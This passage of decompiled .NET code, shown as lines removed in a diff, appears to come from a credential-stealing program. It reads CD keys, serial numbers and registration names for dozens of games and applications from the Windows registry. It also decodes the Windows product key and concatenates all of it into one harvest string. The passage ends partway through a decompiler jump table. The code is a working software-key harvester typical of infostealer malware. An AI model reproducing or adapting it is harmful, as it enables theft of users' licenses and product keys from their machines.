- num3 = 580; - str1 += "\r\nSim City 4 Deluxe :"; -label_580: - num3 = 581; - string str148 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\Maxis\\ Sim City 4 Deluxe", "ergc", (object) null)); -label_581: - num3 = 582; - str1 += str148; -label_582: - ProjectData.ClearProjectError(); - num1 = 1; -label_583: - num3 = 584; - str1 += "\r\nSim City 4 :"; -label_584: - num3 = 585; - string str149 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\Maxis\\ Sim City 4", "ergc", (object) null)); -label_585: - num3 = 586; - str1 += str149; -label_586: - ProjectData.ClearProjectError(); - num1 = 1; -label_587: - num3 = 588; - str1 += "\r\nSniffer Pro 4.5 :"; -label_588: - num3 = 589; - string str150 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Network Associates, Inc.\\Sniffer Pro\\4.5\\USER", "SerialNumber", (object) null)); -label_589: - num3 = 590; - str1 += str150; -label_590: - ProjectData.ClearProjectError(); - num1 = 1; -label_591: - num3 = 592; - str1 += "\r\nSoldiers Of Anarchy :"; -label_592: - num3 = 593; - string str151 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Silver Style Entertainment\\Soldiers Of Anarchy", "Settings", (object) null)); -label_593: - num3 = 594; - str1 += str151; -label_594: - ProjectData.ClearProjectError(); - num1 = 1; -label_595: - num3 = 596; - str1 += "\r\nSoldiers Of Anarchy :"; -label_596: - num3 = 597; - string str152 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Silver Style Entertainment\\Soldiers Of Anarchy", "Settings", (object) null)); -label_597: - num3 = 598; - str1 += str152; -label_598: - ProjectData.ClearProjectError(); - num1 = 1; -label_599: - num3 = 600; - str1 += "\r\nStalker - Shadow of Chernobyl :"; -label_600: - num3 = 601; - string str153 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\GSC Game World\\STALKER-SHOC", "InstallCDKEY", (object) null)); -label_601: - num3 = 602; - str1 += str153; -label_602: - ProjectData.ClearProjectError(); - num1 = 1; -label_603: - num3 = 604; - str1 += "\r\nStar Wars Battlefront II (v1.0) :"; -label_604: - num3 = 605; - string str154 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\LucasArts\\Star Wars Battlefront II\\1.0", "CD Key", (object) null)); -label_605: - num3 = 606; - str1 += str154; -label_606: - ProjectData.ClearProjectError(); - num1 = 1; -label_607: - num3 = 608; - str1 += "\r\nStar Wars Battlefront II (v1.1) :"; -label_608: - num3 = 609; - string str155 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\LucasArts\\Star Wars Battlefront II\\1.1", "CD Key", (object) null)); -label_609: - num3 = 610; - str1 += str155; -label_610: - ProjectData.ClearProjectError(); - num1 = 1; -label_611: - num3 = 612; - str1 += "\r\nSteganos Internet Anonym VPN :"; -label_612: - num3 = 613; - string str156 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Steganos\\SIAVPN", "ClientID", (object) null)); -label_613: - num3 = 614; - str1 += str156; -label_614: - ProjectData.ClearProjectError(); - num1 = 1; -label_615: - num3 = 616; - str1 += "\r\nSplinter Cell Pandora Tomorrow :"; -label_616: - num3 = 617; - string str157 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Steganos\\SIAVPN", "ClientID", (object) null)); -label_617: - num3 = 618; - str1 += str157; -label_618: - ProjectData.ClearProjectError(); - num1 = 1; -label_619: - num3 = 620; - str1 += "\r\nSurpreme Commander :"; -label_620: - num3 = 621; - string str158 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\THQ\\Gas Powered Games\\Supreme Commander", "KEY", (object) null)); -label_621: - num3 = 622; - str1 += str158; -label_622: - ProjectData.ClearProjectError(); - num1 = 1; -label_623: - num3 = 624; - str1 += "\r\nS.W.A.T 2 :"; -label_624: - num3 = 625; - string str159 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Sierra\\CDKey", "swat2", (object) null)); -label_625: - num3 = 626; - str1 += str159; -label_626: - ProjectData.ClearProjectError(); - num1 = 1; -label_627: - num3 = 628; - str1 += "\r\nS.W.A.T 3 :"; -label_628: - num3 = 629; - string str160 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Sierra\\CDKey", "swat3", (object) null)); -label_629: - num3 = 630; - str1 += str160; -label_630: - ProjectData.ClearProjectError(); - num1 = 1; -label_631: - num3 = 632; - str1 += "\r\nS.W.A.T 4 :"; -label_632: - num3 = 633; - string str161 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Sierra\\CDKey", "swat4", (object) null)); -label_633: - num3 = 634; - str1 += str161; -label_634: - ProjectData.ClearProjectError(); - num1 = 1; -label_635: - num3 = 636; - str1 += "\r\nTechSmith SnagIt (Name) :"; -label_636: - num3 = 637; - string str162 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TechSmith\\SnagIt\\8", "RegisteredTo", (object) null)); -label_637: - num3 = 638; - str1 += str162; -label_638: - ProjectData.ClearProjectError(); - num1 = 1; -label_639: - num3 = 640; - str1 += "\r\nTechSmith SnagIt (Name) :"; -label_640: - num3 = 641; - string str163 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TechSmith\\SnagIt\\8", "RegistrationKey", (object) null)); -label_641: - num3 = 642; - str1 += str163; -label_642: - ProjectData.ClearProjectError(); - num1 = 1; -label_643: - num3 = 644; - str1 += "\r\nTechSmith SnagIt (Serial) :"; -label_644: - num3 = 645; - string str164 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TechSmith\\SnagIt\\8", "RegistrationKey", (object) null)); -label_645: - num3 = 646; - str1 += str164; -label_646: - ProjectData.ClearProjectError(); - num1 = 1; -label_647: - num3 = 648; - str1 += "\r\nTexas Calculatem 4 (Owner) :"; -label_648: - num3 = 649; - string str165 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TexasCalc\\License", "Owner Name", (object) null)); -label_649: - num3 = 650; - str1 += str165; -label_650: - ProjectData.ClearProjectError(); - num1 = 1; -label_651: - num3 = 652; - str1 += "\r\nTexas Calculatem 4 (Owner) :"; -label_652: - num3 = 653; - string str166 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TexasCalc\\License", "Registration Key", (object) null)); -label_653: - num3 = 654; - str1 += str166; -label_654: - ProjectData.ClearProjectError(); - num1 = 1; -label_655: - num3 = 656; - str1 += "\r\nThe Battle for Middle-earth :"; -label_656: - num3 = 657; - string str167 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Games\\The Battle for Middle-earth", "ergc", (object) null)); -label_657: - num3 = 658; - str1 += str167; -label_658: - ProjectData.ClearProjectError(); - num1 = 1; -label_659: - num3 = 660; - str1 += "\r\nThe Orange Box :"; -label_660: - num3 = 661; - string str168 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Games\\The Orange Box", "ergc", (object) null)); -label_661: - num3 = 662; - str1 += str168; -label_662: - ProjectData.ClearProjectError(); - num1 = 1; -label_663: - num3 = 664; - str1 += "\r\nThe Orange Box :"; -label_664: - num3 = 665; - string str169 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Sierra\\CDKey", "Timeshift", (object) null)); -label_665: - num3 = 666; - str1 += str169; -label_666: - ProjectData.ClearProjectError(); - num1 = 1; -label_667: - num3 = 668; - str1 += "\r\nTMPGEnc DVD Author :"; -label_668: - num3 = 669; - string str170 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Pegasys Inc.\\TMPGEnc DVD Author\\1.0", "RegistrationCode", (object) null)); -label_669: - num3 = 670; - str1 += str170; -label_670: - ProjectData.ClearProjectError(); - num1 = 1; -label_671: - num3 = 672; - str1 += "\r\nTuneUp 2007 (Name) :"; -label_672: - num3 = 673; - string str171 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\6.0", "UserName", (object) null)); -label_673: - num3 = 674; - str1 += str171; -label_674: - ProjectData.ClearProjectError(); - num1 = 1; -label_675: - num3 = 676; - str1 += "\r\nTuneUp 2007 (Key) :"; -label_676: - num3 = 677; - string str172 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\6.0", "RegCode", (object) null)); -label_677: - num3 = 678; - str1 += str172; -label_678: - ProjectData.ClearProjectError(); - num1 = 1; -label_679: - num3 = 680; - str1 += "\r\nTuneUp 2007 (Company) :"; -label_680: - num3 = 681; - string str173 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\6.0", "Company", (object) null)); -label_681: - num3 = 682; - str1 += str173; -label_682: - ProjectData.ClearProjectError(); - num1 = 1; -label_683: - num3 = 684; - str1 += "\r\nTuneUp 2008 (Name) :"; -label_684: - num3 = 685; - string str174 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\7.0", "UserName", (object) null)); -label_685: - num3 = 686; - str1 += str174; -label_686: - ProjectData.ClearProjectError(); - num1 = 1; -label_687: - num3 = 688; - str1 += "\r\nTuneUp 2008 (Key) :"; -label_688: - num3 = 689; - string str175 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\7.0", "RegCode", (object) null)); -label_689: - num3 = 690; - str1 += str175; -label_690: - ProjectData.ClearProjectError(); - num1 = 1; -label_691: - num3 = 692; - str1 += "\r\nTuneUp 2008 (Company) :"; -label_692: - num3 = 693; - string str176 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\7.0", "Company", (object) null)); -label_693: - num3 = 694; - str1 += str176; -label_694: - ProjectData.ClearProjectError(); - num1 = 1; -label_695: - num3 = 696; - str1 += "\r\nTuneUp 2009 (Name) :"; -label_696: - num3 = 697; - string str177 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\8.0", "UserName", (object) null)); -label_697: - num3 = 698; - str1 += str177; -label_698: - ProjectData.ClearProjectError(); - num1 = 1; -label_699: - num3 = 700; - str1 += "\r\nTuneUp 2009 (Key) :"; -label_700: - num3 = 701; - string str178 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\8.0", "ProductKey", (object) null)); -label_701: - num3 = 702; - str1 += str178; -label_702: - ProjectData.ClearProjectError(); - num1 = 1; -label_703: - num3 = 704; - str1 += "\r\nTuneUp 2009 (Company) :"; -label_704: - num3 = 705; - string str179 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\8.0", "Company", (object) null)); -label_705: - num3 = 706; - str1 += str179; -label_706: - ProjectData.ClearProjectError(); - num1 = 1; -label_707: - num3 = 708; - str1 += "\r\nWinamp (Username) :"; -label_708: - num3 = 709; - string str180 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Nullsoft\\Winamp", "regname", (object) null)); -label_709: - num3 = 710; - str1 += str180; -label_710: - ProjectData.ClearProjectError(); - num1 = 1; -label_711: - num3 = 712; - str1 += "\r\nWinamp (Serial) :"; -label_712: - num3 = 713; - string str181 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Nullsoft\\Winamp", "regkey", (object) null)); -label_713: - num3 = 714; - str1 += str181; -label_714: - ProjectData.ClearProjectError(); - num1 = 1; -label_715: - num3 = 716; - string str182 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Sims\\The Sims 3\\ergc", "", (object) "E_NotFound")); -label_716: - num3 = 717; - string str183 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Sims\\The Sims 2\\ergc", "", (object) "E_NotFound")); -label_717: - num3 = 718; - string str184 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Family Fun Stuff\\erg", "", (object) "E_NotFound")); -label_718: - num3 = 719; - string str185 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Glamour Life Stuff\\ergc", "", (object) "E_NotFound")); -label_719: - num3 = 720; - string str186 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Nightlife\\ergc", "", (object) "E_NotFound")); -label_720: - num3 = 721; - string str187 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Open For Business\\ergc", "", (object) "E_NotFound")); -label_721: - num3 = 722; - string str188 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 University\\ergc", "", (object) "E_NotFound")); -label_722: - num3 = 723; - string str189 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\SPORE(TM)\\ergc ", "", (object) "E_NotFound")); -label_723: - num3 = 724; - string str190 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Mirror's Edge\\ergc ", "", (object) "E_NotFound")); -label_724: - num3 = 725; - string str191 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\ACTIVISION\\Call of Duty", "", (object) "E_NotFound")); -label_725: - num3 = 726; - string str192 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\ACTIVISION\\Call of Duty2", "", (object) "E_NotFound")); -label_726: - num3 = 727; - string str193 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\ACTIVISION\\Call of Duty4", "", (object) "E_NotFound")); -label_727: - num3 = 728; - string str194 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\ACTIVISION\\Call of Duty WAW", "", (object) "E_NotFound")); -label_728: - num3 = 729; - string str195 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Half-Life\\Settings", "", (object) "E_NotFound")); -label_729: - num3 = 730; - string str196 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft Games\\Halo", "", (object) "E_NotFound")); -label_730: - num3 = 731; - string str197 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\CounterStrike\\Settings", "", (object) "E_NotFound")); -label_731: - num3 = 732; - string productKey = FuckTheKey.GetProductKey("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\", "DigitalProductId"); -label_732: - num3 = 733; - string str198 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Rockstar Games\\Grand Theft Auto IV", "", (object) "CDKey")); -label_733: - num3 = 734; - string str199 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Sports\\FIFA 09\\ergc", "", (object) "E_NotFound")); -label_734: - num3 = 735; - string str200 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\KONAMI\\PES2009", "", (object) "")); -label_735: - num3 = 736; - string str201 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Dead Space\\ergc", "", (object) "E_NotFound")); -label_736: - num3 = 737; - string str202 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Battlefield 2 Special Forces\\ergc", "", (object) "E_NotFound")); -label_737: - num3 = 738; - string str203 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Activision\\Transformers2", "", (object) "License")); -label_738: - num3 = 739; - string str204 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Rockstar Games\\Bully Scholarship Edition", "", (object) "License")); -label_739: - num3 = 740; - string str205 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\AHEAD\\NERO BURNING ROM ", "", (object) "Serial")); -label_740: - num3 = 741; - string str206 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\AHEAD\\INSTALLATION\\FAMILIES\\NERO 7\\INFO", "", (object) "Serial")); -label_741: - num3 = 742; - string str207 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\AHEAD\\INSTALLATION\\FAMILIES\\NERO 8\\INFO", "", (object) "Serial")); -label_742: - num3 = 743; - string str208 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\NERO\\SHARED\\FAMILIES\\NL9", "", (object) "Serial")); -label_743: - num3 = 744; - string str209 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\TechSmith\\Camtasia Studio\\4.0", "", (object) "RegisteredTo")); -label_744: - num3 = 745; - string str210 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\TechSmith\\Camtasia Studio\\4.0", "", (object) "RegistrationKey")); -label_745: - num3 = 746; - string str211 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Cyberlink\\PowerDVD", "", (object) "CDKey")); -label_746: - num3 = 747; - string str212 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Cyberlink\\PowerBar", "", (object) "CDKey")); -label_747: - num3 = 748; - Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Sierra\\CDKey", "", (object) "fear")); -label_748: - num3 = 749; - string str213 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\CRYTEK\\FARCRY\\UBI.COM", "", (object) "CDKey")); -label_749: - num3 = 750; - string str214 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Sierra\\CDKey", "", (object) "CDKey")); -label_750: - num3 = 751; - string str215 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Sports\\FIFA 08\\ergc", "", (object) "E_NotFound")); -label_751: - num3 = 752; - string str216 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Sports\\FIFA 07\\ergc", "", (object) "E_NotFound")); -label_752: - num3 = 753; - string str217 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Sports\\FIFA 2005\\ergc", "", (object) "E_NotFound")); -label_753: - num3 = 754; - string str218 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Sports\\FIFA 2004\\ergc", "", (object) "E_NotFound")); -label_754: - num3 = 755; - string str219 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Sports\\FIFA 2003\\ergc", "", (object) "E_NotFound")); -label_755: - num3 = 756; - string str220 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Sports\\FIFA 2002\\ergc", "", (object) "E_NotFound")); -label_756: - num3 = 757; - string str221 = Conversions.ToString(Registry.GetValue("HKEY_CURRENT_USER\\Software\\mIRC\\", "", (object) "UserName")); -label_757: - num3 = 758; - string str222 = Conversions.ToString(Registry.GetValue("HKEY_CURRENT_USER\\Software\\mIRC\\", "", (object) "License")); -label_758: - num3 = 759; - string str223 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\KONAMI\\PES2008", "", (object) "code")); -label_759: - num3 = 760; - string str224 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Orange Box", "", (object) "ergc")); -label_760: - num3 = 761; - string str225 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\TechSmith\\Camtasia Studio\\7.0", "RegisteredTo", (object) null)); -label_761: - num3 = 762; - string str226 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\TechSmith\\Camtasia Studio\\7.0", "RegistrationKey", (object) null)); -label_762: - num3 = 763; - string str227 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA Sports\\FIFA 10\\ergc", "", (object) "E_NotFound")); -label_763: - num3 = 764; - string str228 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\10.0", "UserName", (object) null)); -label_764: - num3 = 765; - string str229 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\10", "UserName", (object) null)); -label_765: - num3 = 766; - string str230 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\10.0", "ProductKey", (object) null)); -label_766: - num3 = 767; - string str231 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\TuneUp\\Utilities\\10.0", "ProductKey", (object) null)); -label_767: - num3 = 768; - string str232 = "Orange Box :" + str224 + "\r\nPes 2008 :" + str223 + "\r\nMirc Username :" + str221 + "Mirc Serial :" + str222 + "\r\nFifa 2002 :" + str220 + "\r\nFifa 2003 :" + str219 + "\r\nFifa 2004 :" + str218 + "\r\nFifa 2005 :" + str217 + "\r\nFifa 2007 :" + str216 + "\r\nFifa 2008 :" + str215 + "\r\nFar Cry :" + str213 + "\r\nFar Cry 2 :" + str214 + "\r\nF.E.A.R :" + str212 + "\r\nCyberlink PowerBAR :" + str212 + "\r\nCyberlink PowerDVD :" + str211 + "\r\nCamtasia Username :" + str209 + "Password :" + str210 + "\r\nThe Sims 3 :" + str182 + "\r\nThe Sims 2 :" + str183 + "\r\nThe Sims Fun Family Stuff :" + str184 + "\r\nBattlefield 2 - Special Forces :" + str202 + "\r\nThe Sims Glamour Life Stuff :" + str185 + "\r\nThe Sims NightLife :" + str186 + "\r\nNero 5 & 6 :" + str205 + "\r\nNero 7 :" + str206 + "\r\nNero 8 :" + str207 + "\r\nNero 9 :" + str208 + "\r\nThe Sims 2 Open For Bussines :" + str187 + "\r\nBully Scholarship Edition Bully Scholarship Edition :" + str204 + "\r\nTransformers 2 - Revenge of the Fallen :" + str203 + "\r\nThe Sims 2 Univeristy :" + str188 + "\r\nMirrorsEdge™ :" + str190 + "\r\nDeadSpace :" + str201 + "\r\nSpore :" + str189 + "\r\nFIFA 09 :" + str199 + "\r\nPES 2009 :" + str200 + "\r\nCall of Duty :" + str191 + "\r\nCall of Duty 2 :" + str192 + "\r\nCall of Duty 4 :" + str193 + "\r\nCall of Duty 5 :" + str194 + "\r\nHalf Life 1 :" + str195 + "\r\nHalo :" + str196 + "\r\nCounter Strike 1.6 :" + str197 + "\r\nSerial Key of " + MyProject.Computer.Info.OSFullName + " :" + productKey + "\r\nGTA IV Serial Key :" + str198 + "\r\nCamTasia7 UserName :" + str225 + "\r\nCamTasia7 Serial:" + str226 + "\r\nFIFA10 :" + str227 + "\r\nTuneUp2010(UserName) :" + str228 + str229 + "\r\nTuneUp2010(Key) :" + str230 + str231; -label_768: - num3 = 769; - str1 += str232; - goto label_775; -label_770: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_21; - case 23: - goto label_22; - case 24: - goto label_23; - case 25: - goto label_24; - case 26: - goto label_25; - case 27: - goto label_26; - case 28: - goto label_27; - case 29: - goto label_28; - case 30: - goto label_29; - case 31: - goto label_30; - case 32: - goto label_31; - case 33: - goto label_32; - case 34: - goto label_33; - case 35: - goto label_34; - case 36: - goto label_35; - case 37: - goto label_36; - case 38: - goto label_37; - case 39: - goto label_38; - case 40: - goto label_39; - case 41: - goto label_40; - case 42: - goto label_41; - case 43: - goto label_42; - case 44: - goto label_43; - case 45: - goto label_44; - case 46: - goto label_45; - case 47: - goto label_46; - case 48: - goto label_47; - case 49: - goto label_48; - case 50: - goto label_49; - case 51: - goto label_50; - case 52: - goto label_51; - case 53: - goto label_52; - case 54: - goto label_53; - case 55: - goto label_54; - case 56: - goto label_55; - case 57: - goto label_56; - case 58: - goto label_57; - case 59: - goto label_58; - case 60: - goto label_59; - case 61: - goto label_60; - case 62: - goto label_61; - case 63: - goto label_62; - case 64: - goto label_63; - case 65: - goto label_64; - case 66: - goto label_65; - case 67: - goto label_66; - case 68: - goto label_67; - case 69: - goto label_68; - case 70: - goto label_69; - case 71: - goto label_70; - case 72: - goto label_71; - case 73: - goto label_72; - case 74: - goto label_73; - case 75: - goto label_74; - case 76: - goto label_75; - case 77: - goto label_76; - case 78: - goto label_77; - case 79: - goto label_78; - case 80: - goto label_79; - case 81: - goto label_80; - case 82: - goto label_81; - case 83: - goto label_82; - case 84: - goto label_83; - case 85: - goto label_84; - case 86: - goto label_85; - case 87: - goto label_86; - case 88: - goto label_87; - case 89: - goto label_88; - case 90: - goto label_89; - case 91: - goto label_90; - case 92: - goto label_91; - case 93: - goto label_92; - case 94: - goto label_93; - case 95: - goto label_94; - case 96: - goto label_95; - case 97: - goto label_96; - case 98: - goto label_97; - case 99: - goto label_98; - case 100: - goto label_99; - case 101: - goto label_100; - case 102: - goto label_101; - case 103: - goto label_102; - case 104: - goto label_103; - case 105: - goto label_104; - case 106: - goto label_105; - case 107: - goto label_106; - case 108: - goto label_107; - case 109: - goto label_108; - case 110: - goto label_109; - case 111: - goto label_110; - case 112: - goto label_111; - case 113: - goto label_112; - case 114: - goto label_113; - case 115: - goto label_114; - case 116: - goto label_115; - case 117: - goto label_116; - case 118: - goto label_117; - case 119: - goto label_118; - case 120: - goto label_119; - case 121: - goto label_120; - case 122: - goto label_121; - case 123: - goto label_122; - case 124: - goto label_123; - case 125: - goto label_124; - case 126: - goto label_125; - case (int) sbyte.MaxValue: - goto label_126; - case 128: - goto label_127; - case 129: - goto label_128; - case 130: - goto label_129; - case 131: - goto label_130; - case 132: - goto label_131; - case 133: - goto label_132; - case 134: - goto label_133; - case 135: - goto label_134; - case 136: - goto label_135; - case 137: - goto label_136; - case 138: - goto label_137; - case 139: - goto label_138; - case 140: - goto label_139; - case 141: - goto label_140; - case 142: - goto label_141; - case 143: - goto label_142; - case 144: - goto label_143; - case 145: - goto label_144; - case 146: - goto label_145; - case 147: - goto label_146; - case 148: - goto label_147; - case 149: - goto label_148; - case 150: - goto label_149; - case 151: - goto label_150; - case 152: - goto label_151; - case 153: - goto label_152; - case 154: - goto label_153; - case 155: - goto label_154; - case 156: - goto label_155; - case 157: - goto label_156; - case 158: - goto label_157; - case 159: - goto label_158; - case 160: - goto label_159; - case 161: - goto label_160; - case 162: - goto label_161; - case 163: - goto label_162; - case 164: - goto label_163; - case 165: - goto label_164; - case 166: - goto label_165; - case 167: - goto label_166; - case 168: - goto label_167; - case 169: - goto label_168; - case 170: - goto label_169; - case 171: - goto label_170; - case 172: - goto label_171; - case 173: - goto label_172; - case 174: - goto label_173; - case 175: - goto label_174; - case 176: - goto label_175; - case 177: - goto label_176; - case 178: - goto label_177; - case 179: - goto label_178; - case 180: - goto label_179; - case 181: - goto label_180; - case 182: - goto label_181; - case 183: - goto label_182; - case 184: - goto label_183; - case 185: - goto label_184; - case 186: - goto label_185; - case 187: - goto label_186; - case 188: - goto label_187; - case 189: - goto label_188; - case 190: - goto label_189; - case 191: - goto label_190; - case 192: - goto label_191; - case 193: - goto label_192; - case 194: - goto label_193; - case 195: - goto label_194; - case 196: - goto label_195; - case 197: - goto label_196; - case 198: - goto label_197; - case 199: - goto label_198; - case 200: - goto label_199; - case 201: - goto label_200; - case 202: - goto label_201; - case 203: - goto label_202; - case 204: - goto label_203; - case 205: - goto label_204; - case 206: - goto label_205; - case 207: - goto label_206; - case 208: - goto label_207; - case 209: - goto label_208; - case 210: - goto label_209; - case 211: - goto label_210; - case 212: - goto label_211; - case 213: - goto label_212; - case 214: - goto label_213; - case 215: - goto label_214; - case 216: - goto label_215; - case 217: - goto label_216; - case 218: - goto label_217; - case 219: - goto label_218; - case 220: - goto label_219; - case 221: - goto label_220; - case 222: - goto label_221; - case 223: - goto label_222; - case 224: - goto label_223; - case 225: - goto label_224; - case 226: - goto label_225; - case 227: - goto label_226; - case 228: - goto label_227; - case 229: - goto label_228; - case 